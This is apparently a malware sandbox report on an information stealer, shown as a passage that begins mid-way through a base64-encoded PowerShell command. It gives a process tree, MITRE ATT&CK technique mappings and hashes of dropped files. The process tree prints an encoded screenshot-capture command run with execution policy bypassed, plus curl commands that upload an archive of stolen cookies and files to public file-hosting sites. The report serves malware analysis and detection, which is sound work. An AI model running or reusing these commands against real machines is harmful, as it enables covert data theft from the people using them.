HIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXABRAEMAcwBGAG4AegBqAGsAawBJAFwARQBOAC0AVgBnAHgAbQBzAHUAeABmAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf.zip"" "https://catbox.moe/user/api.php""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf.zip"" "https://catbox.moe/user/api.php"
    3⤵
    PID:2740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "file=@"C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf.zip"" "https://0x0.st""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "file=@"C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf.zip"" "https://0x0.st"
    3⤵
    PID:4104

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Vgxmsuxf.zip

Path C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf.zip
Size 449KB
SHA256 379edac64a8f7bb389212ae6e35ec28ca92d9d955b61b769762fb4a5836c9606
MD5 871f8823af514473ea756262a8b9c5b2
SHA1 b869577498a0a5f8a9ba150ba82897e5fea32a64
SHA512 10040def70361b3a92cf6c9b1365f2dd633c7ae40efa6e591fc12952f116fe7f6d621b29595b7c03ec7d0429ac4b7daabd6ba86665f23ee92d85dd942adaa537
SSDEEP 12288:nhBqLUxj+oTQ0u89O2DxA7b7eWbIQjmWjEQ:hILFWO89O2V4fRjP4Q
TLSH
T15CA423D39A7243E2E2889EFA1D3B715339582F8C7777E816D7B76D436888F1258A110C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Cookies_[Google Default].txt

Path C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf\Cookies\Cookies_[Google Default].txt
Size 247B
SHA256 6a79d2c2ef19894f65b941b0e8ea9877e70daa1ba841ee0ac1ffe7b674a2e272
MD5 e613b5d72a9d0394b94b1bdbb2a2c8ce
SHA1 72c4e60b82f277581caf95aee541b62eaaaea65a
SHA512 7ad8b8154668ac2fb5cbfd3f362f3d0642ebf9717abbc4738231f31cc102a2b358ed27b84b1038a626526dc03b08d4d2ba2ea3a4f391615b1ffddaeb4b0f8cae
TLSH
T14CD022C3B4FC78650D7E91B60018B8A80D31315CD7C7A1644808D899017175D8B890B1
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.png

Path C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf\Screenshot\screenshot.png
Size 451KB
SHA256 1e82ae35b4a56544048e441f39cddca336445447df170ce81ea2760741885b8f
MD5 10126c7aa6640295648a0bc7bf106d79
SHA1 0a93f3472089a8a5216ad7e19aeb48b97914c064
SHA512 6b9b63a10acd172085ac68b6452393b4726ab1823c463b409fcd208d98747053ee7a7dab78e63a143da4519d8a045a70df69a12c2d29045f7721f43245f93bf3
SSDEEP 12288:F2+XEKOBzpPGT4uEN5RyVmY7Ra4/WQCmol6zry:FhAFPGqMVmY7MsWPpKry
TLSH
T190A4234EC137C11A9CDE423F2BDE894A07125A07852B157ED2692A6CC81953E7FEC2DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf\log.txt
Size 167B
SHA256 c6fb00b860fd199a39e1715c006f86631c7abcf317acca5069e7a6b47213b242
MD5 022c416528cf6c28c2418f032c8ad735
SHA1 62d55a7cbec6d8d0dcd442ec5714eba3e34cf20f
SHA512 42ac58f292c1f63e79e8277e4c0d25f87b10013dbba8c8873f5498b6e7414a550272507667fae019516ec08c3303f481993d84e7a2b4794ab614ceaffff95666
TLSH
T1C4C01230308DA3F443104AC9EE288288448628A2382D8CE8B29708C875C50885898E93
MD5 SHA1 SHA512 TLSH

Submit Download

stolen_files.zip

Path C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf\stolen_files.zip
Size 10KB
SHA256 468c040c52410333b072fe94c46a17b76355d68c792c8ba3882cde51c07cf95f
MD5 615ccea659e7816d5573305a0e6a2c97
SHA1 5536c90dc86f60abf109344655d7163846c49131
SHA512 6276a0fc6113e894ad71f60f49009ea0be1f84f58cdd62512c626b2d0136f8be2404852913928dc1f59756aa4e629d4b34f9f3125ca371606066f00530ffc372
SSDEEP 192:pUwea3WBwTl3rwnAsmIMXTQvNMiQ7QijCYoNUuYo69WzU+6:GwqBmdXTQvESNL8U6
TLSH
T1F432CF2F652CA1549EAB30B74C67CDE795291DF02325CE0E21729793AE8C1CD260E7C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EN-Vgxmsuxf_fallback.zip

Path C:\ProgramData\Microsoft\UserSettings\QCsFnzjkkI\EN-Vgxmsuxf_fallback.zip
Size 450KB
SHA256 458026e95222c92a84ece63450660c9667e9ed88966a056a59edeaa945e003de
MD5 79a8a71954d797dc997cb0384ef485e3
SHA1 3e4e1746e61447195ca9c3a455dab8bf597cc283
SHA512 953e2b5c1792e91e847d66ee862c48c5afe8e916c454f80b45265cf687471f27a16991663d902114fd4df50947f6d25f85ff397184e3d19c5c5fbcfb53a1f1d8
SSDEEP 12288:VhBqLUxj+oTQ0u89O2DxA7b7eWbIQjmWjEQ:TILFWO89O2V4fRjP4Q
TLSH
T138A423E39A7243E2E2889EFA1D3B716336582F8C7777E416D7B76C435888F1258A114C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 99e3988e87450a569d6de17138a55d10d3c639ddba156af5caa59d9d3c96dd75
MD5 20981e81e48744c1c040b7f0b2e99b78
SHA1 bf7eadcd200c27585ce68bcba0b7b67c8bf7114e
SHA512 447d728b4220f49d39e85df2ce7f0218d594592efdb719a3f62b8f04dc4fed635b31c7fb50aca5cdba96abc80b45ced8ee86f38b8e63cdb7326ed2d84b41a7c7
TLSH
T1C2215627B3DC8AA1CC86163A90ADAC1176B6D7D7409EDEDF7BC4C214E1AF588CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95a47ccfd1b086a08c3df53babaedcd848d26a8091338840862a770cce92c03d
MD5 b5edb937e5eea0ed4e2929dd07dbaab5
SHA1 8b54c8373842271d070d45469e88eaa2da474a74
SHA512 d460164617711995d3ca76c2843918b6427fc114ea05e5a8f8468ae50c9139a7ae007ac8b6a273b1a9b440fb916f75c7e4b4f4916d89f90f1809e9806f079581
TLSH
T1AD218627B3CC8A60CC86153A80ADAC1176B683C7409ECE9F6BC0D214E1BF588CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9b01fc8beb9fad65e2e97737a43b689efac9bb18addb7b0d5ab7d75ceb4e23ec
MD5 17de6a9404417387fec7d0a1426aa846
SHA1 79bb15f694c27fe5a7bb3a5a6b7e6567b0fb7bb7
SHA512 4b43ac207450e816020612991b51485be235b0c05064daafef6f29c049a26b7ab56b257574c4fda96dad3adbefb6851a73f56fd33a6803447f7c20856775acc5
TLSH
T1E1217823B39D8820CCD5153A109D9C5072A682C781DFCF9F2EC0C61191BFAC8CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3za3cvke.skt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3za3cvke.skt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442

Path C:\Users\Admin\AppData\Local\Temp\pkg-G0DiVe\b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

A33IZXbw.xml

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o\A33IZXbw.xml
Size 2KB
SHA256 0978b0e61441c505d46b74d8fa7d9ac3f81844baaa8a9c471c500c813c70b975
MD5 18dbfff5295f46722043b2ec28912423
SHA1 32d3b53945f23c929a0126e8590eaff24803329b
SHA512 c1bf1ea2524e4e8c7865eaff78dfc3280160ba39c23fb299ffa88c07bc275984ba00c8fd5e6c35716c2d448ad189a00e97cf78497ff9cfc241fdb488c3b0708b
TLSH
T13651474367FE1209F2F76BACBEB764514E67BD596D31C46D00AC060D0BB7922CA60736
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4308-76-0x00000284B1150000-0x00000284B1172000-memory.dmp

Download

memory/4832-100-0x000001935A2F0000-0x000001935A340000-memory.dmp

Download